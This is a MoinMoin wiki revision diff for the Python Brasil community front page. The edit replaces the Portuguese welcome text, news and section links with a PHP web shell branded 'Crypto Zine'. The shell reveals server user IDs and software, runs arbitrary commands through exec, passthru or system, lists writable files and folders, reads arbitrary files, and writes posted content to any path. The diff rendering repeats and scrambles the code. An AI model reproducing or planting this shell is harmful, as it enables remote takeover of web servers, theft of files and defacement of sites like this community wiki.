2904
Comentário:
|
4935
|
Deleções são marcadas assim. | Adições são marcadas assim. |
Linha 1: | Linha 1: |
#pragma section-numbers off = Python Brasil = Este site, foi idealizado para abrigar todo o material sobre Python editado em nosso idioma. Ele utiliza o software MoinMoin que é um Wiki inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva material rapidamente. = Listas de Discussão = Preferencialmente inscreva-se em python-brasil@yahoogrupos.com.br . Existe ainda a lista python-br@yahoogrupos.com.br, porém a senha de gerência desta última foi perdida, e sem o apoio do pessoal do yahoo fica impossível filtrar spam nesta última. = Notícias = * '''[[DateTime(2003-11-17T21:00:00)]] - Atualizada a versão do MoinMoin usada. Agora, ao criar uma página, o autor pode definir regras para a alteração, leitura, remoção, ... para mais instruções de como isso funciona: HelpOnAccessControlLists. * '''[[DateTime(2003-11-13T23:18:00)]] - Criado site da comunidade Python brasileira''' - A primeira página dedicada à comunidade brasileira de usuários de Python foi criada. Agora é com você usuário. É você quem manterá essa página viva e atualizada. E lembrem-se: qualquer dúvida ou problema entre em contato com o WikiMaster mais próximo. = Seções = Aqui estão algumas das seções desse site. Se você gostaria de sugerir outras é só entrar em contato com o WikiMaster mais próximo. * PerguntasFrequentes - Perguntas e Respostas frequentes. * DocumentaçãoPython - Documentação, Livros, Manuais, Tutoriais e afins. * CookBook - Trechos de códigos úteis. * ComoUsarWiki - Como usar esse site. Introdução Rápida. * SoftwarePython - Módulos, Editores, Ferramentas para desenvolvimento Python. * EmpresasPython - Empresas Brasileiras que já usam Python para aumentar seus lucros :) = Artigos = Alguns artigos sobre python. * IntroduçãoPythonRaLobao - Uma Simples introdução a programação Python (escrito por RaLobao) * UsandoVariáveis - Artigo ensinando a usar as "variáveis" no Python, e expressões (escrito por RaLobao). * InteragindoUsuario - Terceiro Artigo de Ra Lobao ensinando a usar as funções de stdin (entrada de dados). /!\ Inicialmente os artigos podem ser colocados aqui. Depois de um tempo eu vou movê-los para a página: ArtigosTutoriais. = Observações = Esse site é um Wiki e está aberto para a participação de todos. Sejam responsáveis e organizados que ele continuará sempre aberto para todos. = Livro de Visitas = Nesta seção, convidamos você Pythonista a assinar o livro de visita e deixar aqui registrado a sua passagem pelo site PythonBrasil. Assim, teremos uma medida do interesse da comunidade brasileira nessa maravilhosa tecnologia: * OsvaldoSantanaNeto (criador do site) * Rodrigo Dias Arruda Senra * Washington Coutinho Corrêa Jr * Pedro Werneck |
<center> <?php closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); ?> <?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <TR> <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> </TR> <?php } ?> <center> <TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> </TABLE> <BR> <?php if ($cmd != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; } if (isset($chdir)) @chdir($chdir); ob_start( ); $fe("$cmd 2>&1"); $output = ob_get_contents(); ob_end_clean( ); ?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> </TEXTAREA> <BR> <?php } if ($listar != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($dir = @opendir($chdir)) { echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) { if (@is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( ); } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TR>"; echo "</TABLE>"; } } ?> <html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html> <?php $codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w"); $ok = fwrite($fp, $codigo); if ($oia != "") { $fp = fopen($oia, "r"); $read = fread($fp, 30000); echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>"; } ?> |
<center> <?php
- closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( );
?>
<?php
- $uname = posix_uname( ); while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
- }
?> <center>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid
?>)</DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME);
echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE> <BR> <?php
- if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php
if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; }
- if (isset($chdir)) @chdir($chdir); ob_start( );
$fe("$cmd 2>&1"); $output = ob_get_contents();
?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?> </TEXTAREA> <BR> <?php
- } if ($listar != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php
- if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) {
- if (@is_file($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( );
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
- if (@is_dir($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
- if (@is_dir($file)) {
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo "</TR>"; echo "</TABLE>";
- if (@is_file($file)) {
- }
?>
<html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html>
<?php
$codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w");
- $ok = fwrite($fp, $codigo);
if ($oia != "") {
- $fp = fopen($oia, "r"); $read = fread($fp, 30000);
echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>";
} ?>